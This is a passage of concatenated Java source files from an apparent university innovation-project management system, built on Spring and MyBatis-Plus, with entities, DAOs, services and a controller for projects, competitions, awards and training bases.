private String perSocialPractice;
@TableField(exist = false)
private SysUserEntity sysUserEntity;
@TableField(exist = false)
private Long isDel;
private Integer perWorking; //'工作方式',
private Integer perAge; //'年龄',
private String perInterest; //'兴趣爱好',
private Integer perEmploy; //'是否已经被企业录用 0:是,1:否',
}
<file_sep>package com.innovate.modules.finish.entity;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
import java.io.Serializable;
/**
* @author:tz
* @create:2018-11-19
* @description:大创结题项目附件
**/
@Data
@TableName("innovate_finish_attach")
public class FinishAttachEntity implements Serializable {
@TableId
private Long attachId;
private Long finishId;
private String attachName;
private String attachPath;
private Long isDel;
@TableField(exist = false)
private String declareName;
@TableField(exist = false)
private Integer declareGroupType;
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import org.springframework.stereotype.Service;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.InnovateFileAskDao;
import com.innovate.modules.innovate.entity.InnovateFileAskEntity;
import com.innovate.modules.innovate.service.InnovateFileAskService;
@Service("innovateFileAskService")
public class InnovateFileAskServiceImpl extends ServiceImpl<InnovateFileAskDao, InnovateFileAskEntity> implements InnovateFileAskService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
// Page<InnovateFileAskEntity> page = this.selectPage(
// new Query<InnovateFileAskEntity>(params).getPage(),
// new EntityWrapper<InnovateFileAskEntity>()
// );
// return new PageUtils(page);
Integer totalPage = baseMapper.queryCountPage(params);
Integer currPage = 1;
Integer pageSize = 10;
try {
if (params.get("currPage")!=null&¶ms.get("pageSize")!=null) {
currPage = Integer.parseInt(params.get("currPage").toString());
pageSize = Integer.parseInt(params.get("pageSize").toString());
}
} catch (Exception e) {
e.printStackTrace();
}
Integer startPage = 0 + pageSize * (currPage - 1);
Integer endPage = pageSize;
params.put("startPage", startPage);
params.put("endPage", endPage);
List<InnovateFileAskEntity> fileAskEntityList = baseMapper.queryPage(params);
return new PageUtils(fileAskEntityList, totalPage, pageSize, currPage);
}
@Override
public InnovateFileAskEntity queryByParams(Map<String, Object> params) {
return baseMapper.queryByParams(params);
}
}<file_sep>package com.innovate.modules.match.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import com.fasterxml.jackson.databind.ser.std.ToStringSerializer;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
/**
* @author:tz
* @create:2018-11-08
* @description:参赛项目荣誉成果
**/
@Data
@TableName("innovate_match_award")
public class MatchAwardEntity implements Serializable {
@TableId
private Long awardId;
private Long matchId;
private String awardName;
private Long awardType;
private Long awardRank;
@JsonSerialize(using = ToStringSerializer.class)
private Double awardMoney;
private String awardFileName;
private String awardPath;
private Date awardTime;
private Long isPrize;
private Long isDel;
}
<file_sep>package com.innovate.modules.declare.service.impl;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.modules.declare.dao.DeclareStaffInfoDao;
import com.innovate.modules.declare.entity.DeclareStaffInfoEntity;
import com.innovate.modules.declare.service.DeclareStaffInfoService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:43
* @Version 1.0
*/
@Service
public class DeclareStaffInfoServiceImpl extends ServiceImpl<DeclareStaffInfoDao, DeclareStaffInfoEntity> implements DeclareStaffInfoService {
@Override
public List<DeclareStaffInfoEntity> queryAll(Map<String, Object> params) {
return baseMapper.queryAll(params);
}
@Override
public Long queryStaffNum(Map<String, Object> params) {
return baseMapper.queryStaffNum(params);
}
@Override
public void remove(Map<String, Object> params) {
baseMapper.remove(params);
}
}
<file_sep>package com.innovate.modules.sys.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import lombok.Data;
/**
*
*
* @author luo
* @email <EMAIL>
* @date 2021-07-13 11:01:39
*/
@Data
@TableName("sys_mail_code")
public class SysMailCodeEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
*
*/
@TableId
private Long id;
/**
*
*/
private Long userId;
/**
*
*/
private String mailCode;
/**
*
*/
private Date times;
/**
*
*/
private Integer invalid;
public SysMailCodeEntity(){
}
public SysMailCodeEntity(Long userId) {
this.userId = userId;
}
}
<file_sep>package com.innovate.modules.match.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import com.fasterxml.jackson.databind.ser.std.ToStringSerializer;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
/**
* @author:tz
* @create:2018-11-08
* @description:参赛项目信息
**/
@Data
@TableName("innovate_match_info")
public class MatchInfoEntity implements Serializable {
@TableId
private Long matchId;
private Long eventId;
private Long projectUserId;
private Long groupId;
private String matchName;
private String matchTeamName;
private Long matchType;
private Long matchGroupType;
private String matchDescribe;
private String matchBrightSpot;
private String matchExpect;
private String matchReviewResult;
private Long projectMatchApplyStatus;
private Long isUpdate;
private Long applyUpdate;
private Long matchNoPass;
@JsonSerialize(using=ToStringSerializer.class)
private Double matchScoreAvg;
private Long isDel;
private Date matchTime;
}
<file_sep>package com.innovate.modules.points.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.points.entity.InnovateStudentSignInEntity;
import org.apache.ibatis.annotations.Mapper;
/**
* 签到
*
* @author Mikey
* @email <EMAIL>
* @date 2020-11-10 13:33:51
*/
@Mapper
public interface InnovateStudentSignInDao extends BaseMapper<InnovateStudentSignInEntity> {
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.BaseInfoDao;
import com.innovate.modules.innovate.entity.BaseInfoEntity;
import com.innovate.modules.innovate.service.BaseInfoService;
import org.springframework.stereotype.Service;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:27
* @Version 1.0
*/
@Service
public class BaseInfoServiceImpl extends ServiceImpl<BaseInfoDao, BaseInfoEntity> implements BaseInfoService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
Page<BaseInfoEntity> page = this.selectPage(
new Query<BaseInfoEntity>(params).getPage(),
new EntityWrapper<BaseInfoEntity>()
);
return new PageUtils(page);
}
}
<file_sep>package com.innovate.modules.match.entity;
import lombok.Data;
import java.io.Serializable;
@Data
public class MatchUnScoreTeacherEntity implements Serializable {
private String name;
private String email;
private String mobile;
private Long instituteId;
private Long teacherSex;
private String teacherPost;
private Long teacherTitle;
}
<file_sep>package com.innovate.modules.training.service;
import com.baomidou.mybatisplus.service.IService;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.training.entity.InnovateTrainingBaseAttachEntity;
import java.util.Map;
/**
* 实训基地附件
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:44:45
*/
public interface InnovateTrainingBaseAttachService extends IService<InnovateTrainingBaseAttachEntity> {
PageUtils queryPage(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.declare.controller;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import com.innovate.common.utils.ShiroUtils;
import com.innovate.modules.declare.entity.DeclareInfoEntity;
import com.innovate.modules.declare.entity.DeclareInfoModel;
import com.innovate.modules.declare.service.DeclareInfoModelService;
import com.innovate.modules.declare.service.DeclareInfoService;
import com.innovate.modules.innovate.entity.InnovateGradeEntity;
import com.innovate.modules.innovate.entity.InnovateInstituteEntity;
import com.innovate.modules.innovate.entity.UserTeacherInfoEntity;
import com.innovate.modules.innovate.service.InnovateGradeService;
import com.innovate.modules.innovate.service.InnovateInstituteService;
import com.innovate.modules.innovate.service.UserTeacherInfoService;
import com.innovate.modules.sys.controller.AbstractController;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 21:10
* @Version 1.0
*/
@RestController
@RequestMapping("innovate/declare/info")
public class DeclareInfoController extends AbstractController {
@Autowired
private DeclareInfoService innovatedeclareInfoService;
@Autowired
private InnovateInstituteService innovateInstituteService;
@Autowired
private InnovateGradeService innovateGradeService;
@Autowired
private UserTeacherInfoService userTeacherInfoService;
@Autowired
private DeclareInfoModelService declareInfoModelService;
private DeclareInfoEntity tempDeclareInfoEntity;
/**
* 所有列表
*/
@GetMapping("/list")
@RequiresPermissions("innovate:declare:list")
public R list(@RequestParam Map<String, Object> params){
/*获得当前用户的所属部门*/
Long erInstituteId = ShiroUtils.getUserEntity().getInstituteId();
params.put("erInstituteId",erInstituteId);
PageUtils page = declareInfoModelService.queryPage(params);
//学院
List<InnovateInstituteEntity> institute = innovateInstituteService.queryAllInstitute();
//年级
List<InnovateGradeEntity> grade = innovateGradeService.queryAllGrade();
return R.ok()
.put("page", page)
.put("institute", institute)
.put("grade", grade);
}
/**
* 可以结题的项目
*/
@GetMapping("/canfinish")
@RequiresPermissions("innovate:declare:list")
public R canFinish(@RequestParam Map<String, Object> params){
List<DeclareInfoEntity> declareInfoEntities = declareInfoModelService.queryCanFinish(params);
//学院
return R.ok().put("declareInfoEntities", declareInfoEntities);
}
/**
* 未通过的项目
*/
@GetMapping("/nopass")
@RequiresPermissions("innovate:declare:list")
public R noPass(@RequestParam Map<String, Object> params){
List<DeclareInfoEntity> declareInfoEntities = innovatedeclareInfoService.noPass(params);
return R.ok()
.put("declareInfoEntities", declareInfoEntities);
}
/**
* 等级排序
*/
@PostMapping("/order")
@RequiresPermissions("innovate:declare:order")
public R order(@RequestBody(required = false) DeclareInfoModel declareInfoModel){
declareInfoModelService.updateEntity(declareInfoModel);
return R.ok();
}
/**
* 信息
*/
@GetMapping("/info")
@RequiresPermissions("innovate:declare:info")
public R info(@RequestParam Map<String, Object> params){
Long declareId = Long.parseLong(params.get("declareId").toString());
DeclareInfoModel declareInfo = declareInfoModelService.query(params);
List<UserTeacherInfoEntity> userTeacherInfoEntities = userTeacherInfoService.queryDeclareTeacherInfo(declareId);
return R.ok()
.put("declareInfo", declareInfo)
.put("userTeacherInfoEntities", userTeacherInfoEntities);
}
/**
* 保存
*/
@PostMapping("/save")
@RequiresPermissions("innovate:declare:save")
public R save(@RequestBody(required = false) DeclareInfoModel declareInfoModel){
declareInfoModelService.saveEntity(declareInfoModel);
return R.ok();
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:declare:update")
public R update(@RequestBody(required = false) DeclareInfoModel declareInfoModel){
declareInfoModelService.updateEntity(declareInfoModel);
tempDeclareInfoEntity = innovatedeclareInfoService.selectById(declareInfoModel.getDeclareInfoEntity().getDeclareId());
return R.ok();
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:declare:delete")
public R delete(@RequestBody Long[] declareIds){
Map<String, Object> params = new HashMap<>();
for (Long declareId: declareIds) {
params.put("declareId", declareId);
declareInfoModelService.deleteEntity(params);
}
return R.ok();
}
}
<file_sep>package com.innovate.modules.training.service.impl;
import com.innovate.modules.innovate.entity.InnovateInstituteEntity;
import com.innovate.modules.innovate.service.InnovateInstituteService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.*;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.training.dao.InnovateTrainingBaseInfoDao;
import com.innovate.modules.training.entity.InnovateTrainingBaseInfoEntity;
import com.innovate.modules.training.service.InnovateTrainingBaseInfoService;
@Service("innovateTrainingBaseInfoService")
public class InnovateTrainingBaseInfoServiceImpl extends ServiceImpl<InnovateTrainingBaseInfoDao, InnovateTrainingBaseInfoEntity> implements InnovateTrainingBaseInfoService {
@Autowired
private InnovateInstituteService innovateInstituteService;
@Override
public PageUtils queryPage(Map<String, Object> params) {
EntityWrapper<InnovateTrainingBaseInfoEntity> entityWrapper = new EntityWrapper<>();
if (params.get("trainingBaseName") != null) entityWrapper.like("training_base_name", params.get("trainingBaseName").toString());
if (params.get("instituteId") != null) entityWrapper.eq("institute_id", Integer.parseInt(params.get("instituteId").toString()));
if (params.get("isDel") != null) entityWrapper.eq("is_del", Integer.parseInt(params.get("isDel").toString()));
Page<InnovateTrainingBaseInfoEntity> page = this.selectPage(
new Query<InnovateTrainingBaseInfoEntity>(params).getPage(),
entityWrapper
);
return new PageUtils(page);
}
/**
* 依据实训基地id查询
* @param
* @return
*/
@Override
public List<InnovateTrainingBaseInfoEntity> queryListByDeptAndIds(Map<String, Object> params) {
Map<String, Object> map = new HashMap<>();
if (params.get("ids") != null && !params.get("ids").toString().equals("[]")) {
map.put("ids", params.get("ids"));
} else {
map.put("ids", null);
}
map.put("instituteId", params.get("instituteId"));
map.put("trainingBaseName", params.get("trainingBaseName"));
return baseMapper.selectMap(map);
}
@Override
public int deleteList(List<Long> asList) {
return baseMapper.deleteList(asList);
}
}
<file_sep>package com.innovate.modules.enterprise.entity;
import com.alibaba.excel.annotation.ExcelIgnore;
import com.alibaba.excel.annotation.ExcelProperty;
import com.alibaba.excel.annotation.format.DateTimeFormat;
import com.baomidou.mybatisplus.annotations.TableField;
import com.alibaba.excel.annotation.ExcelIgnore;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import java.io.Serializable;
import java.util.Date;
import com.fasterxml.jackson.annotation.JsonFormat;
import lombok.Data;
/**
* 企业成果
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-24 00:42:32
*/
@Data
@TableName("innovate_enterprise_achieve")
public class InnovateEnterpriseAchieveEntity implements Serializable {
private static final long serialVersionUID = 1L;
/**
* 自增主键
*/
@TableId
@ExcelIgnore
private Long enterpAchieveId;
/**
* 企业 id
*/
@ExcelIgnore
private Long enterpriseId;
/**
* 企业名称
*/
@ExcelProperty(value = "企业名称")
private String enterpriseName;
/**
* 负责人
*/
@ExcelProperty(value = "负责人")
private String enterpriseDirector;
/**
* 用户id
*/
@ExcelIgnore
private Long enterpriseUserId;
/**
* 获奖名称(项目名称)
*/
@ExcelProperty(value = "获奖名称")
private String awardProjectName;
/**
* 获奖时间
*/
@DateTimeFormat("yyyy-MM-dd")
@JsonFormat(locale="zh", timezone="GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
@ExcelProperty(value = "获奖时间")
private Date awardTime;
/**
* 类型(应用成果转化/获奖/著作权/企业证书)
*/
@ExcelIgnore
private String awardProjectType;
/**
* 所属二级学院
*/
@ExcelIgnore
private String instituteId;
/**
* 审核状态
*/
@ExcelIgnore
private String applyStatus;
/**
* 是否删除
*/
@ExcelIgnore
private Integer isDel;
@ExcelProperty(value = "类型")
@TableField(exist = false)
private String typeName;
@ExcelProperty(value = "所属二级学院")
@TableField(exist = false)
private String instituteName;
//备注
@ExcelIgnore
private String remark;
}
<file_sep>package com.innovate.modules.innovate.utils;
import com.innovate.modules.innovate.common.ProjectCalculate;
import com.innovate.modules.innovate.service.ProjectInfoService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import javax.annotation.PostConstruct;
import java.util.HashSet;
import java.util.Set;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/9
**/
@Component
public class ProjectCalculateUtil {
private static Set<ProjectCalculate> projectCalculates = new HashSet<ProjectCalculate>();
private static Long projectId;
private static Long baseId;
@Autowired
private static ProjectCalculateUtil util;
@Autowired
private ProjectInfoService innovateProjectInfoService;
//通过init方法,
//1.注入bean(innovateProjectInfoService)
//2.赋值给static ProjectCalculateUtil util
//3.innovateProjectInfoService,就通过util来取
@PostConstruct
public void init(){
util = this;
util.innovateProjectInfoService = this.innovateProjectInfoService;
}
//添加计算对象
public static void addObject(ProjectCalculate projectCalculate) {
projectCalculates.add(projectCalculate);
}
//计算
public static void calculate() {
for (ProjectCalculate projectCalculate : projectCalculates) {
projectCalculate.calculate(projectId, baseId);
}
}
public static void setCalculateId(Long projectId) {
if (null != projectId){
ProjectCalculateUtil.projectId = projectId;
ProjectCalculateUtil.baseId = util.innovateProjectInfoService.queryBaseId(projectId);
}else{
ProjectCalculateUtil.projectId = null;
ProjectCalculateUtil.baseId = null;
}
}
}
<file_sep>package com.innovate.modules.innovate.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.innovate.entity.ProjectAwardEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:29
* @Version 1.0
*/
@Mapper
public interface ProjectAwardDao extends BaseMapper<ProjectAwardEntity> {
List<ProjectAwardEntity> queryAll(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.ProjectMatchInfoDao;
import com.innovate.modules.innovate.entity.ProjectMatchInfoEntity;
import com.innovate.modules.innovate.service.ProjectMatchInfoService;
import org.springframework.stereotype.Service;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 17:38
* @Version 1.0
*/
@Service
public class ProjectMatchInfoServiceImpl extends ServiceImpl<ProjectMatchInfoDao, ProjectMatchInfoEntity> implements ProjectMatchInfoService {
@Override
public PageUtils queryPage(Map<String, Object> params) {
Page<ProjectMatchInfoEntity> page = this.selectPage(
new Query<ProjectMatchInfoEntity>(params).getPage(),
new EntityWrapper<ProjectMatchInfoEntity>()
);
return new PageUtils(page);
}
}
<file_sep>package com.innovate.modules.finish.entity;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
/**
* @description:项目指导老师
**/
@Data
@TableName("innovate_finish_teacher")
public class FinishTeacherEntity implements Serializable {
@TableId
private Long finishTeacherId;
private Long finishId;
private Long userId;
private Date createTime;
private Long isDel;
}
<file_sep>package com.innovate.modules.match.service.impl;
import com.innovate.common.utils.PageUtils;
import com.innovate.modules.innovate.entity.*;
import com.innovate.modules.innovate.service.UserPerInfoService;
import com.innovate.modules.innovate.service.UserTeacherInfoService;
import com.innovate.modules.match.entity.*;
import com.innovate.modules.match.service.*;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.CopyOnWriteArrayList;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/12/4
**/
@Service
public class MatchInfoModelServiceImpl implements MatchInfoModelService {
@Autowired
private MatchAttachService matchAttachService;
@Autowired
private MatchAwardService matchAwardService;
@Autowired
private UserPerInfoService userPerInfoService;
@Autowired
private MatchStaffInfoService matchStaffInfoService;
@Autowired
private MatchInfoService matchInfoService;
@Autowired
private MatchTeacherService matchTeacherService;
@Autowired
private MatchReviewService matchReviewService;
@Autowired
private UserTeacherInfoService userTeacherInfoService;
private List<MatchTeacherEntity> matchTeacherEntities;
private List<UserPersonInfoEntity> userPersonInfoEntities;
private List<MatchAttachEntity> matchAttachEntities;
private List<MatchStaffInfoEntity> matchStaffInfoEntities;
private List<MatchAwardEntity> matchAwardEntities;
private List<MatchReviewEntity> matchReviewEntities;
private List<UserTeacherInfoEntity> userTeacherInfoEntities;
@Override
public PageUtils queryPage(Map<String, Object> params) {
Integer totalPage = matchInfoService.queryCountPage(params);
Integer currPage = 1;
Integer pageSize = 10;
try {
if (params.get("currPage")!=null&¶ms.get("pageSize")!=null) {
currPage = Integer.parseInt(params.get("currPage").toString());
pageSize = Integer.parseInt(params.get("pageSize").toString());
}
} catch (Exception e) {
e.printStackTrace();
}
Integer startPage = 0 + pageSize * (currPage - 1);
Integer endPage = pageSize;
params.put("startPage", startPage);
params.put("endPage", endPage);
// 临时接收项目信息
List<MatchInfoEntity> tempLists = null;
// 项目所有信息的临时实体
MatchInfoModel tempMatchInfoModel = null;
// 包含项目所有信息的主要实体
List<MatchInfoModel> matchInfoModels = new ArrayList<>();
tempLists = matchInfoService.queryPage(params);
Map<String, Object> tempParams = new HashMap<>();
for (MatchInfoEntity matchInfoEntity : tempLists) {
tempParams.put("matchId", matchInfoEntity.getMatchId());
tempMatchInfoModel = this.query(tempParams);
matchInfoModels.add(tempMatchInfoModel);
}
return new PageUtils(matchInfoModels, totalPage, pageSize, currPage);
}
@Override
public List<MatchInfoModel> queryAll(Map<String, Object> params) {
return null;
}
@Override
public MatchInfoModel query(Map<String, Object> params) {
Long matchId = Long.parseLong(params.get("matchId").toString());
MatchInfoModel tempMatchInfoModel = new MatchInfoModel();
// 根据项目ID查询出对应的项目信息
MatchInfoEntity matchInfoEntity = matchInfoService.selectById(matchId);
tempMatchInfoModel.setMatchInfoEntity(matchInfoEntity);
// 获取项目相关的所有表的数据信息
userPersonInfoEntities = userPerInfoService.queryAllPersonInfo(params);
matchTeacherEntities = matchTeacherService.queryAll(params);
userTeacherInfoEntities = userTeacherInfoService.queryMatchTeacherInfo(matchId);
matchAttachEntities = matchAttachService.queryAll(params);
matchStaffInfoEntities = matchStaffInfoService.queryAll(params);
matchAwardEntities = matchAwardService.queryAll(params);
matchReviewEntities = matchReviewService.queryAll(params);
// 将项目相关的信息放入tempInnovatematchInfoModel中
tempMatchInfoModel.setUserPersonInfoEntities(userPersonInfoEntities);
tempMatchInfoModel.setMatchTeacherEntities(matchTeacherEntities);
tempMatchInfoModel.setUserTeacherInfoEntities(userTeacherInfoEntities);
tempMatchInfoModel.setMatchAttachEntities(matchAttachEntities);
tempMatchInfoModel.setMatchStaffInfoEntities(matchStaffInfoEntities);
tempMatchInfoModel.setMatchAwardEntities(matchAwardEntities);
tempMatchInfoModel.setMatchReviewEntities(matchReviewEntities);
return tempMatchInfoModel;
}
@Override
public void saveEntity(MatchInfoModel matchInfoModel) {
matchInfoService.insert(matchInfoModel.getMatchInfoEntity());
this.saveOrupdateProps(matchInfoModel);
}
@Override
public void saveAwardEntity(MatchInfoModel matchInfoModel) {
Long matchId = matchInfoModel.getMatchInfoEntity().getMatchId();
for (MatchAwardEntity matchAwardEntity : matchInfoModel.getMatchAwardEntities()) {
matchAwardEntity.setMatchId(matchId);
matchAwardService.insertOrUpdate(matchAwardEntity);
}
}
@Override
public void updateEntity(MatchInfoModel matchInfoModel) {
matchInfoService.updateById(matchInfoModel.getMatchInfoEntity());
this.saveOrupdateProps(matchInfoModel);
}
@Override
public void saveOrupdateProps(MatchInfoModel matchInfoModel) {
Long matchId = matchInfoModel.getMatchInfoEntity().getMatchId();
for (MatchTeacherEntity matchTeacherEntity : matchInfoModel.getMatchTeacherEntities()) {
matchTeacherEntity.setMatchId(matchId);
matchTeacherService.insertOrUpdate(matchTeacherEntity);
}
//移除文件
Map<String,Object> params = new HashMap<>();
params.put("matchId", matchInfoModel.getMatchInfoEntity().getMatchId());
matchAttachService.remove(params);
//保存文件
for (MatchAttachEntity matchAttachEntity : matchInfoModel.getMatchAttachEntities()) {
matchAttachEntity.setMatchId(matchId);
matchAttachService.insertOrUpdate(matchAttachEntity);
}
for (MatchStaffInfoEntity matchStaffInfoEntity : matchInfoModel.getMatchStaffInfoEntities()) {
matchStaffInfoEntity.setMatchId(matchId);
matchStaffInfoService.insertOrUpdate(matchStaffInfoEntity);
}
}
@Override
public void deleteEntity(Map<String, Object> params) {
this.deleteProps(params);
matchInfoService.remove(params);
}
@Override
public void deleteProps(Map<String, Object> params) {
matchTeacherService.remove(params);
matchAttachService.remove(params);
matchStaffInfoService.remove(params);
matchAwardService.remove(params);
}
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.enums.SqlLike;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.InnovateReviewGroupDao;
import com.innovate.modules.innovate.entity.InnovateReviewGroupEntity;
import com.innovate.modules.innovate.entity.InnovateReviewGroupUserEntity;
import com.innovate.modules.innovate.service.InnovateReviewGroupService;
import com.innovate.modules.innovate.service.InnovateReviewGroupUserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@Service
public class InnovateReviewGroupServiceImpl extends ServiceImpl<InnovateReviewGroupDao, InnovateReviewGroupEntity> implements InnovateReviewGroupService {
@Autowired
private InnovateReviewGroupUserService innovateReviewGroupUserService;
@Override
public PageUtils queryPage(Map<String, Object> params) {
String key = params.get("key").toString();
EntityWrapper<InnovateReviewGroupEntity> ew = new EntityWrapper<>();
if (key!=null&&key!="")ew.like("group_name",key, SqlLike.DEFAULT);
Page<InnovateReviewGroupEntity> page = this.selectPage(
new Query<InnovateReviewGroupEntity>(params).getPage(),
ew
);
return new PageUtils(page);
}
@Override
public List<InnovateReviewGroupEntity> queryAllGroup() {
List<InnovateReviewGroupEntity> tempInnovateReviewGroupEntities = baseMapper.queryAll();
List<InnovateReviewGroupEntity> innovateReviewGroupEntities = new ArrayList<>();
for (InnovateReviewGroupEntity innovateReviewGroupEntity: tempInnovateReviewGroupEntities) {
List<InnovateReviewGroupUserEntity> innovateReviewGroupUserEntities = innovateReviewGroupUserService.queryAllGroupUser(innovateReviewGroupEntity.getGroupId());
innovateReviewGroupEntity.setInnovateReviewGroupUserEntities(innovateReviewGroupUserEntities);
innovateReviewGroupEntities.add(innovateReviewGroupEntity);
}
return innovateReviewGroupEntities;
}
@Override
public InnovateReviewGroupEntity queryById(Long groupId) {
InnovateReviewGroupEntity innovateGroupEntity = baseMapper.selectById(groupId);
List<InnovateReviewGroupUserEntity> innovateGroupUserEntities = innovateReviewGroupUserService.queryAllGroupUser(groupId);
innovateGroupEntity.setInnovateReviewGroupUserEntities(innovateGroupUserEntities);
return innovateGroupEntity;
}
@Override
public void save(InnovateReviewGroupEntity innovateGroupEntity) {
List<InnovateReviewGroupUserEntity> innovateReviewGroupUserEntities = innovateGroupEntity.getInnovateReviewGroupUserEntities();
innovateGroupEntity.setInnovateReviewGroupUserEntities(null);
baseMapper.insert(innovateGroupEntity);
innovateReviewGroupUserService.deleteById(innovateGroupEntity.getGroupId());
for (InnovateReviewGroupUserEntity innovateReviewGroupUserEntity: innovateReviewGroupUserEntities) {
innovateReviewGroupUserEntity.setGroupId(innovateGroupEntity.getGroupId());
innovateReviewGroupUserService.insert(innovateReviewGroupUserEntity);
}
}
@Override
public void update(InnovateReviewGroupEntity innovateReviewGroupEntity) {
List<InnovateReviewGroupUserEntity> innovateGroupUserEntities = innovateReviewGroupEntity.getInnovateReviewGroupUserEntities();
innovateReviewGroupEntity.setInnovateReviewGroupUserEntities(null);
baseMapper.updateById(innovateReviewGroupEntity);
innovateReviewGroupUserService.deleteById(innovateReviewGroupEntity.getGroupId());
for (InnovateReviewGroupUserEntity innovateReviewGroupUserEntity: innovateGroupUserEntities) {
innovateReviewGroupUserService.insert(innovateReviewGroupUserEntity);
}
}
@Override
public InnovateReviewGroupEntity insertEntity(InnovateReviewGroupEntity innovateGroupEntity) {
return baseMapper.save(innovateGroupEntity);
}
}
<file_sep>package com.innovate.modules.declare.dao;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.innovate.modules.declare.entity.DeclareStaffInfoEntity;
import org.apache.ibatis.annotations.Mapper;
import java.util.List;
import java.util.Map;
/**
* @author Mikey
* @Title:
* @Description:
* @date 2018/11/8 16:23
* @Version 1.0
*/
@Mapper
public interface DeclareStaffInfoDao extends BaseMapper<DeclareStaffInfoEntity> {
List<DeclareStaffInfoEntity> queryAll(Map<String, Object> params);
//统计参与者个数
Long queryStaffNum(Map<String, Object> params);
void remove(Map<String, Object> params);
}
<file_sep>package com.innovate.modules.innovate.service.impl;
import com.baomidou.mybatisplus.enums.SqlLike;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.baomidou.mybatisplus.service.impl.ServiceImpl;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.Query;
import com.innovate.modules.innovate.dao.InnovateSchoolDao;
import com.innovate.modules.innovate.dao.InnovateSubjectDao;
import com.innovate.modules.innovate.entity.InnovateSchoolEntity;
import com.innovate.modules.innovate.entity.InnovateSubjectEntity;
import com.innovate.modules.innovate.service.InnovateSchoolService;
import com.innovate.modules.innovate.service.InnovateSubjectService;
import org.springframework.stereotype.Service;
import java.util.List;
import java.util.Map;
/**
* @author: 尧志欣
* Email:<EMAIL>
* Date: 2018/11/6
**/
@Service
